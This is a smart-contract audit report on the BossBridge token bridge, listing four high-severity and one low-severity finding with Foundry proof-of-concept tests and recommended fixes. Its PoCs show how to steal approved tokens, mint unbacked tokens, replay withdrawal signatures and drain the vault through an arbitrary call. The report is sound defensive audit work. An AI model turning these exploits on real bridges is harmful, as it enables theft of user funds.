BossBridge Security Review

Version 1.0

Operation-C

October 26, 2024

BossBridge Security Review Report

Operation-C

October 26, 2024

Prepared by: Operation-C

Lead Security Researcher:

- Operation-C

Table of Contents

  - [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

- Low
  - [L-1] `TokenFactory::deployToken` can create multiple tokens with same symbol
    * Impact: Malicious actors may use a potential duplicate token with matching symbols identical to established ones, potentially deceiving users and facilitating fraud, phishing, or trading errors.
    * Proof of Code:
    * Recommendation:

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The Operation-C makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

./src/ #– L1BossBridge.sol #– L1Token.sol #– L1Vault.sol #– TokenFactory.sol

```
- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
  - Tokens:
    - L1Token.sol (And copies, with different names & initial supplies)
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Issues found

Severity	Number of issues found
High	4
Low	1
Total	5

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
```

```
12 }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the
       vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1
2       function testSignatureReplay() public {
3           address attacker = makeAddr("attacker");
4
5           uint256 valutInitialBalance = 1000e18;
6           uint256 attackerBalance = 1000e18;
7
8           deal(address(token), address(vault), valutInitialBalance);
9           deal(address(token), address(attacker), attackerBalance);
10
11          // deposit tokens into l2
12          vm.startPrank(attacker);
13          token.approve(address(tokenBridge), type(uint256).max);
14          tokenBridge.depositTokensToL2(attacker, attacker,
                attackerBalance);
15
16          // signer/operator is going to sign the withdraw
17          bytes memory message = abi.encode(address(token), 0, abi.
                encodeCall(IERC20.transferFrom, (address(vault), attacker,
                attackerBalance))); // encoding: address: token, 0,
                trasnferFrom( from: vault, to: attacker, attackerBalance)
18
19          // bcs the operator put their signature on chain 1 time we can
                resuse it to withdraw all funds
20          (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
                MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
                ; // getting the v, r, s from the singing message
21
22          while(token.balanceOf(address(vault)) > 0) {
23              tokenBridge.withdrawTokensToL1(attacker, attackerBalance, v
                    , r, s);
24          }
25
26          assertEq(token.balanceOf(address(attacker)), attackerBalance +
                valutInitialBalance);
27          assertEq(token.balanceOf(address(vault)), 0);
```

```
28      }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection, e.i., adding nonce, deadline, or other parameters that would make each signature unique per tx.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

```
1  function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
       public nonReentrant whenNotPaused {
2      address signer = ECDSA.recover(MessageHashUtils.
           toEthSignedMessageHash(keccak256(message)), v, r, s);
3
4      if (!signers[signer]) {
5          revert L1BossBridge__Unauthorized();
6      }
7
8      (address target, uint256 value, bytes memory data) = abi.decode(
           message, (address, uint256, bytes));
9
10     (bool success,) = target.call{ value: value }(data);
11     if (!success) {
12         revert L1BossBridge__CallFailed();
13     }
14 }
```

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
1  function testCanCallVaultApproveFromBridgeAndDrainVault() public {
```

```
2       uint256 vaultInitialBalance = 1000e18;
3       deal(address(token), address(vault), vaultInitialBalance);
4
5       // An attacker deposits tokens to L2. We do this under the
            assumption that the
6       // bridge operator needs to see a valid deposit tx to then allow us
             to request a withdrawal.
7       vm.startPrank(attacker);
8       vm.expectEmit(address(tokenBridge));
9       emit Deposit(address(attacker), address(0), 0);
10      tokenBridge.depositTokensToL2(attacker, address(0), 0);
11
12      // Under the assumption that the bridge operator doesn't validate
            bytes being signed
13      bytes memory message = abi.encode(
14          address(vault), // target
15          0, // value
16          abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
17      );
18      (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
            key);
19
20      tokenBridge.sendToL1(v, r, s, message);
21      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
22      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
23  }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Low

[L-1] `TokenFactory::deployToken` can create multiple tokens with same symbol

Impact: Malicious actors may use a potential duplicate token with matching symbols identical to established ones, potentially deceiving users and facilitating fraud, phishing, or trading errors.

Proof of Code:

```
1       mapping(string tokenSymobl => address[] tokenAddress) public
            s_tokenToAddress;
2
3       function setUp() public {
```

```
        vm.prank(owner);
        tokenFactory = new TokenFactory();
    }

    function testMultipleSymbols() public {
        vm.startPrank(owner);

        // create first token
        tokenFactory.deployToken("TEST", type(L1Token).creationCode);

        // create second token
        tokenFactory.deployToken("TEST", type(L1Token).creationCode);

        vm.stopPrank();
    }
```

Recommendation:

```
+    error TokenFactory__duplicateSymbol();
+    error TokenFactory__tokenCreationFailed();

    function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
        // if token already created it shouldn't have an address(0)
+       if (s_tokenToAddress[symbol] != address(0)) { revert
    TokenFactory__duplicateSymbol(); }

        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
               contractBytecode))
        }

         // ensuring the creation of the new token is successful
+        if (addr == address(0)) { revert
    TokenFactory__tokenCreationFailed(); }

        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

Test the added fix

```
    function testFix() public {
        vm.startPrank(owner);

        tokenFactory.deployToken("TEST", type(L1Token).creationCode);

```

```
6           vm.expectRevert(TokenFactory.TokenFactory__duplicateSymbol.
                selector);
7           tokenFactory.deployToken("TEST", type(L1Token).creationCode);
8           vm.stopPrank();
9       }
```